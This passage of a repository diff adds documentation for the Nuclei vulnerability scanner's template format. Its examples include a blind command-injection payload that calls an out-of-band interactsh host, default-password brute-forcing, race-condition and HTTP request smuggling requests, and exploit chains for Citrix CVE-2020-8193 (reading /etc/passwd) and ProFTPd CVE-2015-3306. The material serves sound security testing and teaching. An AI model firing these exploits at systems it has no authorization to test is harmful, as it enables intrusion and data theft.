part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "http"
|
||||
```
|
||||
|
||||
## Blind CMDi OOB based detection
|
||||
|
||||
A simple template to detect blind CMDI using interact.sh
|
||||
|
||||
```yaml
|
||||
id: fuzz-cmdi
|
||||
|
||||
info:
|
||||
name: Basic Blind CMDI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
fuzz:
|
||||
- "nslookup {{redirect}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
216
docs/template-example/http/http-payloads.mdx
Normal file
@ -0,0 +1,216 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
## HTTP Intruder fuzzing
|
||||
|
||||
This template makes a defined POST request in RAW format along with in template defined payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
# HTTP Intruder fuzzing with in template payload support.
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?username=§username§¶mb=§password§ HTTP/1.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§password§')}}
|
||||
Accept: */*
|
||||
body=test
|
||||
|
||||
payloads:
|
||||
username:
|
||||
- admin
|
||||
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
- test
|
||||
- 12345
|
||||
- 123456
|
||||
|
||||
attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Fuzzing multiple requests
|
||||
|
||||
This template makes a defined POST request in RAW format along with wordlist based payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?param_a=§param_a§¶mb=§param_b§ HTTP/1.1
|
||||
User-Agent: §param_a§
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§param_b§')}}
|
||||
Accept: */*
|
||||
|
||||
admin=test
|
||||
|
||||
- |
|
||||
DELETE / HTTP/1.1
|
||||
User-Agent: nuclei
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{sha256('§param_a§')}}
|
||||
|
||||
- |
|
||||
PUT / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}
|
||||
|
||||
attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
|
||||
payloads:
|
||||
param_a: payloads/prams.txt
|
||||
param_b: payloads/paths.txt
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Authenticated fuzzing
|
||||
|
||||
This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
testing=parameter
|
||||
|
||||
cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Dynamic variable support
|
||||
|
||||
This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2020-8193
|
||||
|
||||
info:
|
||||
name: Citrix unauthenticated LFI
|
||||
author: pdteam
|
||||
severity: high
|
||||
reference: https://github.com/jas502n/CVE-2020-8193
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: xpyZxwy6
|
||||
X-NITRO-PASS: xWXHUJ56
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/neo HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/stc HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<clipermission></clipermission>
|
||||
|
||||
cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: randkey # Variable name
|
||||
part: body
|
||||
internal: true
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
```
|
||||
108
docs/template-example/http/http-race-conditions.mdx
Normal file
@ -0,0 +1,108 @@
|
||||
---
|
||||
title: "Race Condition"
|
||||
---
|
||||
|
||||
## Race condition testing with single POST request.
|
||||
|
||||
This template makes a defined POST request in RAW format to `/coupons` endpoint, as the `race_count`is defined as `10`, this will make 10 requests at same time by holding last bytes for all the requests which sent together for all requests synchronizing the send event.
|
||||
|
||||
You can also define the matcher as any other template for the expected output which helps to identify if the race condition exploit worked or not.
|
||||
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race Condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
Cookie: user_session=42332423342987567896
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
## Race condition testing with multiple requests.
|
||||
|
||||
This template makes the defined and multiple POST requests in RAW format with `threads` sets to `5`, `threads` can be utilized in race condition templates when multiple requests needs to be sent to exploit the race condition, `threads` number should be same as the number of you are making with template and not needed if you're only making single request.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
252
docs/template-example/http/http-smuggling.mdx
Normal file
@ -0,0 +1,252 @@
|
||||
---
|
||||
title: "Unsafe HTTP"
|
||||
---
|
||||
|
||||
## Basic CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Basic TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: TE-CL-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic TE.CL vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Frontend bypass CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: smuggling-bypass-front-end-controls-cl-te
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "/admin/delete?username=carlos")'
|
||||
```
|
||||
|
||||
## Differential responses based CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-cl-te-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
|
||||
## Differential responses based TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-te-cl-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
72
docs/template-example/http/raw-http.mdx
Normal file
@ -0,0 +1,72 @@
|
||||
---
|
||||
title: "Raw HTTP"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
This template makes GET request to `/` path in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple RAW request
|
||||
|
||||
This template makes GET and POST request sequentially in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
testing=parameter
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
140
docs/template-example/network.mdx
Normal file
@ -0,0 +1,140 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
## Basic Network Request
|
||||
|
||||
This template connects to a network service, sends some data and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`.
|
||||
|
||||
```yaml
|
||||
id: basic-network-request
|
||||
|
||||
info:
|
||||
name: Basic Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## TLS Network Request
|
||||
|
||||
Similar to the above template, but the connection to the service is done with TLS enabled.
|
||||
|
||||
```yaml
|
||||
id: basic-tls-network-request
|
||||
|
||||
info:
|
||||
name: Basic TLS Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "tls://{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## Hex Input Request
|
||||
|
||||
This template connects to a network service, sends some data encoded in hexadecimal to the server and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`. The match words here are encoded in Hexadecimal, using `encoding: hex` option of matchers.
|
||||
|
||||
```yaml
|
||||
id: hex-network-request
|
||||
|
||||
info:
|
||||
name: Hex Input Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
encoding: hex
|
||||
words:
|
||||
- "504f4e47"
|
||||
```
|
||||
|
||||
## Input Expressions
|
||||
|
||||
Inputs specified in network also support DSL Helper Expressions, so you can create your own complex inputs using variety of nuclei helper functions. The below template is an example of using `hex_decode` function to send decoded input over wire.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pd-team
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
## Multi-Step Requests
|
||||
|
||||
This last example is an RCE in proFTPd which, if vulnerable, allows placing arbitrary files in any directory on the server. The detection process involves a random string on each nuclei run using `{{randstr}}`, and sending multiple lines of FTP input to the vulnerable server. At the end, a successful match is detected with the presence of `Copy successful` in the response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2015-3306
|
||||
|
||||
info:
|
||||
name: ProFTPd RCE
|
||||
author: pd-team
|
||||
severity: high
|
||||
reference: https://github.com/t0kx/exploit-CVE-2015-3306
|
||||
tags: cve,cve2015,ftp,rce
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "site cpfr /proc/self/cmdline\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpfr /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /var/www/html/{{randstr}}\r\n"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 1024
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Copy successful"
|
||||
```
|
||||
118
docs/template-example/workflow.mdx
Normal file
@ -0,0 +1,118 @@
|
||||
---
|
||||
title: "Workflow"
|
||||
---
|
||||
|
||||
## Generic workflows
|
||||
|
||||
A generic workflow that runs two templates, one to detect Jira and another to detect Confluence.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/jira-detect.yaml
|
||||
- template: technologies/confluence-detect.yaml
|
||||
```
|
||||
|
||||
## Basic conditional workflows
|
||||
|
||||
A condition based workflow, which first tries to detect if springboot is running on a target. If springboot is found, a list of exploits executed against it.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: security-misconfiguration/springboot-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2020-5410.yaml
|
||||
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
|
||||
- template: vulnerabilities/springboot-h2-db-rce.yaml
|
||||
```
|
||||
|
||||
## Multi condition workflows
|
||||
|
||||
This template demonstrates nested workflows with nuclei, where there's multiple levels of chaining of templates.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-yy-zz.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-xx-xx.yaml
|
||||
```
|
||||
|
||||
## Conditional workflows with matcher
|
||||
|
||||
This template detects if WordPress is running on an input host, and if found a set of targeted exploits and CVEs are executed against it.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: wordpress
|
||||
subtemplates:
|
||||
- template: cves/CVE-2019-6715.yaml
|
||||
- template: cves/CVE-2019-9978.yaml
|
||||
- template: files/wordpress-db-backup.yaml
|
||||
- template: files/wordpress-debug-log.yaml
|
||||
- template: files/wordpress-directory-listing.yaml
|
||||
- template: files/wordpress-emergency-script.yaml
|
||||
- template: files/wordpress-installer-log.yaml
|
||||
- template: files/wordpress-tmm-db-migrate.yaml
|
||||
- template: files/wordpress-user-enumeration.yaml
|
||||
- template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
|
||||
- template: vulnerabilities/sassy-social-share.yaml
|
||||
- template: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
- template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
|
||||
- template: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
- template: vulnerabilities/wordpress-wordfence-xss.yaml
|
||||
- template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
|
||||
```
|
||||
|
||||
## Multiple Matcher workflow
|
||||
|
||||
Very similar to the last example, with multiple matcher names.
|
||||
|
||||
```yaml
|
||||
id: workflow-multiple-matcher
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- tags: vbulletin
|
||||
|
||||
- name: jboss
|
||||
subtemplates:
|
||||
- tags: jboss
|
||||
|
||||
```
|
||||
113
docs/template-guide/dns.mdx
Normal file
@ -0,0 +1,113 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
## DNS Requests
|
||||
|
||||
DNS protocol can be modelled in nuclei with ease. Fully Customizable DNS requests can be sent by nuclei to nameservers and matching/extracting can be performed on their response.
|
||||
|
||||
DNS Requests start with a **dns** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
dns:
|
||||
```
|
||||
|
||||
### Type
|
||||
|
||||
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
|
||||
|
||||
```yaml
|
||||
# type is the type for the dns request
|
||||
type: A
|
||||
```
|
||||
|
||||
### Name
|
||||
|
||||
The next part of the requests is the DNS **name** to resolve. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
name: {{FQDN}}.com
|
||||
# This value will be replaced on execution with the FQDN.
|
||||
# If FQDN is https://this.is.an.example then the
|
||||
# name will get replaced to the following: this.is.an.example.com
|
||||
```
|
||||
|
||||
As of now the tool supports only one name per request.
|
||||
|
||||
|
||||
### Class
|
||||
|
||||
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
|
||||
|
||||
```yaml
|
||||
# method is the class for the dns request
|
||||
class: inet
|
||||
```
|
||||
|
||||
### Recursion
|
||||
|
||||
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
|
||||
|
||||
```yaml
|
||||
# Recursion is a boolean determining if the request is recursive
|
||||
recursion: true
|
||||
```
|
||||
|
||||
### Retries
|
||||
|
||||
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
|
||||
|
||||
```yaml
|
||||
# Retries is a number of retries before giving up on dns resolution
|
||||
retries: 3
|
||||
```
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
